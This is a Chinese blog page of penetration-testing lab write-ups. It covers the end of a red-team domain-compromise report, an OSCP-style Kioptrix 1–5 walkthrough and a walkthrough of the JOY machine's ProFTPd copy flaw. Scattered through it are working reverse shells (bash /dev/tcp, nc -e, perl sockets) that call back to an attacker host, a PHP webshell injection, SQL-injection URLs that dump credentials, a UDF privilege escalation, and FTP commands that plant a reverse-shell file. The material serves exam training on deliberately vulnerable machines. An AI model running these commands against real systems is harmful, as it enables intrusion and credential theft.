Webshell,获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell,因环境限制未成功。 阶段二:内网横向移动 权限维持与逃逸 Docker逃逸(特权模式) 挂载宿主机磁盘至容器路径,通过写入SSH公钥或计划任务反弹Shell,获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机:192.168.183.128(Win7)、192.168.183.130(DC) 使用proxychains+frp搭建Socks代理,实现内网流量转发。 域成员机渗透(192.168.183.128) MS17-010永恒之蓝漏洞利用 生成混合Payload,通过Metasploit框架获取System权限Shell。 信息收集 域名称:DEMO.com 域用户:douser/Dotest123 域管理员组:Administrator(未直接暴露) 域控提权(192.168.183.130) MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录,上传NC反弹Shell。 关闭防火墙,创建远程服务执行Payload,获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离,特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议(SMBv1),MS17-010补丁未安装。 域用户权限过高,允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本,禁用PUT方法。 phpMyAdmin限制访问IP,启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式,启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量(如永恒之蓝攻击特征)。 域安全策略优化 安装MS17-010补丁,关闭SMBv1协议。 实施最小权限原则,定期审计域用户权限。 启用LAPS(本地管理员密码解决方案),防止密码复用。 五、附录 渗透工具清单 漏洞扫描:Nmap、Nikto 漏洞利用:MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动:Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方:泷羽Sec安全团队 日期:2025年2月16日往期推荐ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】FALL,wfuzz参数模糊测试【oscp】超长攻击链,TommyBoy1dot0——过年快乐!【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
2025年05月18日
440 阅读
0 评论
0 点赞
2025-05-18
Kioptrix 提权靶机(1-5)全系列教程,Try Harder!
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!emmm 什么是OSCP?是由OffSec公司提供的一个专业级别的道德黑客认证。它是针对渗透测试的专业认证,旨在验证个人在实际环境中进行渗透测试的能力。与其他理论导向的认证不同,OSCP侧重于实践技能和真实世界情景的模拟。它也叫做国际进攻性安全认证,如果有想要报考OSCP的师傅们欢迎咨询我们安全团队,我们给您打骨折。本次教程靶机如下,都准备好了,直接下载就好,并且解决了官方靶机扫描不到的问题:链接:https://pan.quark.cn/s/475209fc0c05level 1主机发现上一步没有加-sV参数,这里加上之后的信息看看80有什么随便点点啥也没有,有个METGT2.9.5不知道能不能用得上再点点有个php文件,啥用没有不管啥服务都搜一搜利用这个poc,有版本区间了,用用第二个用户名枚举的poc发现是用得python2pip也不存在,看样子用不了了,我们换一个mod_ssl 刚刚使用nmap -sV参数扫出来的版本信息,还有谷歌插件wapplayer信息收集插件,都能看到这个mod_ssl使用第一个exp,这里看到有提示信息按照他的提示信息,我敲,这谁顶得住啊,这提示信息,看不懂,跳过,直接下载,艹复制下载链接,可以发现这个单词变成了download 下载的意思,直接下载刚刚searchsploit 的 exp文件换一个,卧槽这谁顶得住啊官方编译好的都执行不了,等我换个kali。。。。。24小时后。。。。。卧槽还是不行等我仔细看看exp报错信息,他说的是 } 附近语法错误,看不懂代码,用本地exp重新编译,报了这个错误,似乎是要加上这一个参数加上后还是报错,openssl版本问题,这是一个已经弃用的(deprecated)函数,百度了一下,需要使用-Wno-deprecated-declarations参数,就是前面的那个-Wdeprecated变成 -Wno-deprecated所以完整的参数是这样的,这样就能够成功编译了,命令如下gcc -o exp 47080.c -lcrypto -lssl -Wno-deprecated-declarations执行exp,他会告诉你怎么使用,以及每个参数的用法,英文好一点的就可以直接看,不好也没关系,翻译软件2s钟的事儿wapplyer插件,看web服务器版本使用exp会告诉你怎么使用,看着后面的apache,这个时候进行筛选就行了遇到这种good bye的那么就是利用失败,一个一个尝试就好了直到参数如下,成功获取到了shell,并且有一串提示信息貌似是执行过这几条命令,做一次历史命令信息收集,history,但是发现切换到tmp目录下面的时候什么也没有,看样子是没有下载文件尝试下载,但是下载失败了既然不能下载,那么我们使用kali下载,然后再传到靶机上面去利用kali下载文件后,使用python开启http服务可以看到下载成功根据之前的命令提示,按着顺序输入命令,进行编译后,就会断开连接重新连接,他就会自动执行刚刚编译好的exp文件这个时候就提权成功了,为什么会自动执行那个exp?查看源码就可以发现了samba提权这里是一种提权方法,还有另外一种smb提权,OSCP考试是不允许使用MSF的(只有一次机会),我找了很多kali自带的工具,都识别不到smb版本无奈,只能使用MSF了,识别出来了版本为 2.2.1a这里找到一个版本,第二个,因为第一个是MSF版本,我们需要手工利用exp编译,执行提权成功level 2主机探测syn全端口扫描nmap -sS -T5 192.168.111.184 -A使用curl访问80,可以看到是html信息弱口令,sql注入测试失败mysql远程连接,也失败了,提示了目标mysql服务器没有开启远程连接dirb目录扫描出来一个html页面,不知道是干什么的,不过看样子应该是和apache相关的信息文件使用wappalyzer插件,查看一些中间件服务版本和nmap指纹探测一波找找版本exp,目前收集到的信息,不能确认exp,唯一能能确定的就是那个拒绝服务攻击,但是对我们没什么用这里看到一个本地提权,待会应该能用上,先记着编号是 7550759端口信息不够,直接跳过,但是目前也没有什么可以利用的了,再返回登录框看看,再试试sql注入,注意这次的sql注入和我之前的sql注入是有区别的# 之前的 admin' and 1=1 --+ # 现在的(+号前面多了个空格) admin' and 1=1 -- + 万能密码成功其实也算不上是万能密码,我这样也能进去,只要打乱了sql语句就行了进去index.php后查看源码信息,哎呀卧槽,这里还有隐藏的代码,分析表单看样子是要执行一个ping命令,并且传参给pingit.php还是post请求那么就能得到这个接口请求的payload看样子是一个命令执行,但是尝试了如下反弹shell后,都没有反应ip=127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash试试whoami,我敲,看样子被耍了,这根本不是命令执行啊再看看源码有一个Administrator,可能也是一个有用的信息这里还有一种方法,就是新加一个页面在浏览器中以 html格式修改,把它原来的源码复制上去加上缺少的单引号回车,这样它的input框就出来了尝试127.0.0.1,这下有回显了,刚刚怎么没有?from.submit is not a fun,这个的大致意思呢就是,表单无效,hackbar模拟提交表单的时候,没有处罚javascript的表单提交的方法,那就是编码类型不对了因此切换表单提交的编码类型需要修改一下,这样就可以正常执行了这里执行命令的时候会发现,我使用一个 | 管道符,不管前面的命令是否执行成功,都只执行后面的那一条语句但是bash反弹shell的时候,是失败的,因为这个&和提交的表单数据冲突了需要修改为 %7C 为 | 的,但是这样很麻烦,换一种方法,直接在源页面写不更好嘛?在原来的页面写命令,这样会给我们的http post数据包自动编码反弹成功信息收集找到个这个根据提示加了-Wno-int-to-pointer-cast参数后,提示了很多的无效的指令(invalid instruction)切换思路,继续信息收集,使用lsb_release -a命令查看系统信息,可以看到是比较老的 centos 版本,存在很多漏洞漏洞检索,centos 4.5kali编译失败传到靶机试试(注意kali开启http服务)提权成功之前我们提到过一个服务的提权编号是7550,这里去尝试尝试查看源码,貌似却少一个文件,但是使用方法就是那样使用的,可以判断当前系统不存在此服务漏洞level 3主机发现,80探测节省时间,nmap放在后台扫描新建终端,dirb也放在后台扫描我们访问80端口wapplalyzer随便点点,这个页面,感觉没发现什么盲测sql注入bolg界面的框框xss字典攻击,失败这个时候nmap和dirb都扫完了,回去看看有一个phpmyadmin,弱口令 root/root弱口令爆破,全都是302跳转简单sql万能密码测试这里把密码清空,万能密码直接进去了并且可以写文件,这个为空就代表可以写文件show global variables like "secure%";网站根目录猜测为 /var/www/html写入文件测试,拒绝访问,没有使用密码切换方式,继续信息收集,刚刚目录扫描出来的一个登录框框检索漏洞,这里有一个命令执行漏洞,要用到MSF,再想想其他办法,考试只有一次机会github查找使用git clone 下来执行这个sh文件根据提示输入参数开启交互式终端信息收集/etc/passwd权限信息检索漏洞kali编译不了,我们传到靶机上试试提权失败又仔细看了看这个是小于号,不是小于等于用第一个试试,还是失败重新筛选一下,searchsploit 2.6.2 不使用2.6.24提权失败查找一下suid文件,看看能不能利用suid提权,好像并不行去home目录下面看看,loneferret用户文件夹下有一个 CompanyPolicy.README 文件,不知道是什么东西,打开看看,有个sudo -iHello new employee, It is company policy here to use our newly installed software for editing, creating and viewing files. Please use the command 'sudo ht'. Failure to do so will result in you immediate termination. DG CEO 大致意思就是 您好新员工 这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。 请使用命令'sudo ht'。 不这样做将导致您立即终止。 DG 首席执行官我们再回到那个图片加载不出来的页面,想到可能是因为host问题,随便点一个链接,会发现ip跳转到 kioptrix3.com 这个域名,大概率是域名的问题,需要去host添加域名解析的 ipC:WindowsSystem32driversetchost这个时候再访问这个域名,页面就正常了再来测一测sql注入点这个试试选择id又有注入点了sql注入测试,sql语法错误,存在sql注入判断列数6列正常回显http://kioptrix3.com/gallery/gallery.php?id=1 order by 6-- +&sort=photoid#photos暴表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+&sort=photoid#photos暴列http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+&sort=photoid#photos暴数据,得到账号密码,admin::n0t7t1k4http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from gallarific_users --+&sort=photoid#photos登录看看,密码错误切换这个用户试试,也不行同理,查,dev_accounts这张表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from dev_accounts --+&sort=photoid#photos这样我们就看到了账号密码了,识别hashhash碰撞失败换一换其他工具转在线工具https://www.cmd5.com/default.aspx密码为starwars,登录成功sudo -l添加环境变量export TERM=xterm按 F3 或者 ALT+W 然后 方向键← ← ↓ 回车框中 输入/etc/sudoers保存退出sudo /bin/sh id提权成功第二种方法,就是用4089.c进行提权,第一个40616行不通,测试40839.c可行level 4主机发现curl判断80开启nmap扫描后,立马开始目录扫描弱口令,sql注入,admin/admin,123' and 1=1 --+这里有一个铭感文件泄露密码爆破myusernamemypasswordcookie伪造,也不行用nmap的 --script=vuln 参数试试,找找漏洞信息CVE-2007-6750拒绝服务攻击再回去看看目录,有一个database.sql文件,看样子是信息泄露了,看到了一条数据,但是还是登录失败没有思路了,再重头来一遍,在登录的地方密码处,存在一个sql注入漏洞,123' and 1=1 --+没有回显啊,不可能手工盲注啊,无奈了只能用sqlmapsqlmap -r post.txt --dump --batch --level 3登录进去后没有任何东西,就一个退出登录试试ssh登录# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186两个账号都登录成功了一开始就有一个提示了,让我们使用help命令,似乎是只能使用这些命令来进行接下来的操作shell逃逸可以看到root用户启动了一个mysql进程suid文件查看,貌似没有可以利用的提权命令,sudo这些用户都不能用已知站点是php站点,查找一下php的文件,看看有没有可以利用的地方,比如mysql配置文件查找登录界面的信息,看到了mysql的账号密码(没有密码)登录mysql的提权方式有一个叫做udf提权,我们去看看udf表利用 sys_exec()函数将john用户添加到管理员组。sudo su (用于切换到超级用户"root"的shell)输入账号密码,提权成功level 5 Kioptrix2014同时进行,nmap主机探测立马nmap指纹识别,后curl 80探测,第三个终端目录扫描首页查看响应的源码访问,不知道是什么东西,应该是目录枚举了,和我们获取权限没有什么关系直接搜,刚好版本是一模一样的这里有漏洞的利用方式访问到文件信息了,任意文件查看看看其他信息,操作系统为FreeBSD编译后的exp提示,是没有apache 2.2.x版本的,所以第一关里面的方法利用不了了看其他信息,有一个8080端口403拒绝访问去看看apache配置文件(一般都在/usr/local/etc/apache2x/httpd.conf),利用刚刚的文件枚举漏洞,查看正常访问了,有一个phptax页面又是一个新页面随便点一点试试关键检索,有一个代码执行漏洞查看24665.txt访问后,应该是没有nc,执行不了命令/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash写入一句话马试试http://192.168.111.149:8080/phptax/drawimage.php?pfilez=1040pg1.pdf;echo "<?php system($_GET['cmd']); ?>" > shell1.php;&pdf=make# 反弹不了命令,就多试几个,总有一个能用 perl -e 'use Socket;$i="192.168.111.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.111.128:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'这里使用的是 perl sh反弹成功了目标靶机上没有python,创建不了交互式终端,但是并不影响我们提权查内核信息查SUID文件,基本的sudo都没有,去检索内核根据内核信息有俩个权限提升漏洞这里看靶机是没有wget和curl的,但是有nc小知识,nc也是可以传文件的(测试过很多遍,没传成功),还有个技巧就是利用ftp# 攻击机开启ftp python3 -m pyftpdlib # 靶机连接 ftp ftp://192.168.111.128:2121/file搞了半天,kali新版的python的开不了,人麻了,传到本机来开成功传上去了exp传上去后gcc -o exp exploit.c ./exp即可提权成功,我这里环境出问题了,显示不了了怎么创建交互式终端都不行,害命令小姐# 创建交互式终端的几种方式 echo os.system("/bin/bash") python -c "import pty; pty.spawn('/bin/bash')" /bin/sh -i gcc -o exp xxx.c # c文件编译,-o表示的是输出的文件名称 python -m http.server # 开启小型的http服务 python3 -m ptyftpdlib # 开启小型的ftp服务器 ftp ftp://ip:port/file #使用ftp接收文件 # 常用的反弹shell /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash # 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186 usermod -a -G admin john # 将john用户添加到admin组 # mysql提权(udf提权)用到的表(查) select * from mysql.func; select sys_exec('commend'); uname -a # 查看系统的全部信息哪些好的资料可以分享?我在学习和备考的时候参考的一些不错的资源,汇总如下:注册指南:《OSCP认证教程第一集:注册教程》https://www.freebuf.com/column/194605.htmlLinux提权指南:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/Windows提权辅助脚本:https://github.com/pentestmonkey/windows-privesc-check模拟练习平台(跟Lab环境类似):vulnhub https://www.vulnhub.com/ hackthebox https://www.hackthebox.eu/badchars工具:https://github.com/mgeeky/expdevBadChars往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录
2025年05月18日
1,037 阅读
0 评论
0 点赞
2025-05-18
JOY,ProFTPd的拷贝漏洞
【oscp】JOY,ProFTPd的拷贝漏洞下载地址:https://www.vulnhub.com/entry/digitalworldlocal-joy,298/主机发现&端口扫描直接访问,泄露版本信息上漏洞检索,只有一个拒绝服务攻击,并不能直接getshell,切换思路端口详细扫描,发现了一个FTP匿名登录nmap -sS 10.10.10.198 -T4 -p- -A登录FTPFTP 10.10.10.198 # 密码为空,直接回车看到两个可执行文件,下载下来get reminder get directory赋予执行权限(并不能直接执行)直接cat directory,看上去是用户patrick的用户目录,毕竟有一个上级目录就是root权限的信息Patrick's Directory total 132 drwxr-xr-x 18 patrick patrick 4096 Feb 4 21:20 . drwxr-xr-x 4 root root 4096 Jan 6 2019 .. -rw-r--r-- 1 patrick patrick 24 Feb 4 21:15 1kd8va0o50OV3H28HZ26ffN7JMeU0wG8J996ftHpRuQrAAQqKoxQfCs5aB8GFXC7.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 20:55 6kK0S15FpM4iECwlY9vBMOcz0WHalkAEQZIHFBUDxztRq1We1v5GYxAMdxMbUba6.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 21:15 aOY5oYk9g0WS0nXasU6l2EvjrFCl4hqk.txt -rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history -rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout -rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache -rw-r--r-- 1 patrick patrick 0 Feb 4 20:50 chTSFHiKgRfHiwgp8LV9u4tDwhpdGnKp.txt drwx------ 10 patrick patrick 4096 Dec 26 2018 .config drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads -rw-r--r-- 1 patrick patrick 0 Feb 4 21:20 Dp9d3TstWJP6Yczetnrx4GnQgkVE250L.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 20:50 gAOnh9TLwMyOEViffEXpFAt3LcChEuxcWeqc3BPcQFIRomrGdizTYKuJlHuOSF4z.txt drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg -rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha -rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano -rw-r--r-- 1 patrick patrick 24 Feb 4 21:05 obzvvHxWWlOzg8z8uOdy2Qd94dVMZAs2glSOp18HRCRl9jqmB4x5PVoqLsqM0sAD.txt drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures -rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public -rw-r--r-- 1 patrick patrick 0 Feb 4 21:05 Q9lbdQPPywIiNT5Dagi0Bg9OMx0CQ0ts.txt d--------- 2 root root 4096 Jan 9 2019 script drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:20 UKwKOJqE9XVI3TaEvKZJr8CWu1kVXOWTFZQqjhaiES7QydPE1KEcY2bzuLsOpnYc.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 21:00 V56ziCPycMNIbNplkqYedQXlM6G9YO66.txt -rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos -rw-r--r-- 1 patrick patrick 0 Feb 4 21:10 Wp2Twcw4FWSRMYDe8mniQ1BZhHyhYHqX.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 20:55 XFsA7qBE2voGAtiuZfQ0GQMxE8RitITZ.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:10 YbxpYyx2v9VnifKxuctWG1Y3BzXp8dGJrQrlXbDHK0qp0ZcBRudy7zzN2g8Rxc9F.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:00 YPE8Q4kbBE98OJCytjadCwhK2W9TMb5UPnCP0cHnGsS2dvpwXrppfAViwZmPH3Zq.txt You should know where the directory can be accessed. Information of this Machine! Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux另外一个reminder,目前可能用不上,有一个version_control包含了版本信息的文件┌──(root㉿kali)-[/data/demo] └─# cat reminder Lock down this machine!继续信息收集,目录扫描(没有利用方式)dirsearch -u http://10.10.10.198/ossec/这里需要利用到一个ProFTPd的拷贝漏洞,这样就能从FTP服务器上下载version_control这个版本文件了相关学习文章:https://www.freebuf.com/column/209238.html┌──(root㉿kali)-[~] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/patrick/version_control 350 File or directory exists, ready for destination name site cpto /home/FTP/upload/version_control 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.此时再登录FTP服务器,就能看到多出了一个文件信息# 下载 get version_control找到服务版本了,ProFTPd,1.3.5┌──(root㉿kali)-[~] └─# cat version_control Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.复制到当前目录下并执行searchsploit -m 36803 python2 36803.py执行脚本的时候它直接卡在这儿了查看脚本内容,这是一个网站的目录这个目录呢在刚刚的版本文件version_control中也有 /var/www/tryingharderisjoy.┌──(root㉿kali)-[~] └─# cat version_control Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.但还是不行,MSF可以利用,这里不做过多解释,继续手动我们得知了网站的目录/var/www/tryingharderisjoy,那么就利用刚刚的文件复制漏洞命令如下┌──(root㉿kali)-[/usr/share/webshells/php] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/ftp/upload/php-reverse-shell.php 350 File or directory exists, ready for destination name site cpto /var/www/tryingharderisjoy/php-reverse-shell.php 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.反弹成功开始提权,在网站根目录下面看到了patricksecretsofjoy文件包含了账号密码信息www-data@JOY:/var/www/tryingharderisjoy/ossec$ ls -al ls -al total 116 drwxr-xr-x 8 www-data www-data 4096 Jan 6 2019 . drwxr-xr-x 3 www-data www-data 4096 Feb 4 22:41 .. -rw-r--r-- 1 www-data www-data 92 Jul 19 2016 .hgtags -rw-r--r-- 1 www-data www-data 262 Dec 28 2018 .htaccess -rw-r--r-- 1 www-data www-data 44 Dec 28 2018 .htpasswd -rwxr-xr-x 1 www-data www-data 317 Jul 19 2016 CONTRIB -rw-r--r-- 1 www-data www-data 35745 Jul 19 2016 LICENSE -rw-r--r-- 1 www-data www-data 2106 Jul 19 2016 README -rw-r--r-- 1 www-data www-data 923 Jul 19 2016 README.search drwxr-xr-x 3 www-data www-data 4096 Jul 19 2016 css -rw-r--r-- 1 www-data www-data 218 Jul 19 2016 htaccess_def.txt drwxr-xr-x 2 www-data www-data 4096 Jul 19 2016 img -rwxr-xr-x 1 www-data www-data 5177 Jul 19 2016 index.php drwxr-xr-x 2 www-data www-data 4096 Jul 19 2016 js drwxr-xr-x 3 www-data www-data 4096 Dec 28 2018 lib -rw-r--r-- 1 www-data www-data 462 Jul 19 2016 ossec_conf.php -rw-r--r-- 1 www-data www-data 134 Jan 6 2019 patricksecretsofjoy -rwxr-xr-x 1 www-data www-data 2471 Jul 19 2016 setup.sh drwxr-xr-x 2 www-data www-data 4096 Dec 28 2018 site drwxrwxrwx 2 www-data www-data 4096 Feb 4 21:32 tmp www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat .htpasswd cat .htpasswd admin:$apr1$3Jv2Ok6H$4BMdXenVBmD2E3kXe8RVL. www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy cat patricksecretsofjoy credentials for JOY: patrick:apollo098765 root:howtheheckdoiknowwhattherootpasswordis how would these hack3rs ever find such a page? www-data@JOY:/var/www/tryingharderisjoy/ossec$ su root su root Password: howtheheckdoiknowwhattherootpasswordis su: Authentication failure www-data@JOY:/var/www/tryingharderisjoy/ossec$ su patrick su patrick Password: apollo098765 patrick@JOY:/var/www/tryingharderisjoy/ossec$ whoami whoami patrick有了密码直接sudo -l,看样子可以直接利用这个test文件提权了,但是这个目录无法访问,没有权限不要忘了我们怎么进来的,这里可以利用刚刚的任意文件复制漏洞,进行复制呀cd ~ echo 'php /var/www/tryingharderisjoy/php-reverse-shell.php' > testkali┌──(root㉿kali)-[~] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/patrick/test 350 File or directory exists, ready for destination name site cpto /home/patrick/script/test 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.靶机提权即可 sudo /home/patrick/script/testkali┌──(root㉿kali)-[~] └─# nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.10.128] from (UNKNOWN) [10.10.10.198] 44710 Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux 23:13:50 up 2:28, 0 users, load average: 0.04, 0.05, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=0(root) gid=0(root) groups=0(root) /bin/sh: 0: can't access tty; job control turned off # whoami root #至此提权成功往期推荐往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录
2025年05月18日
1,455 阅读
0 评论
0 点赞
1
...
7
8
9
...
14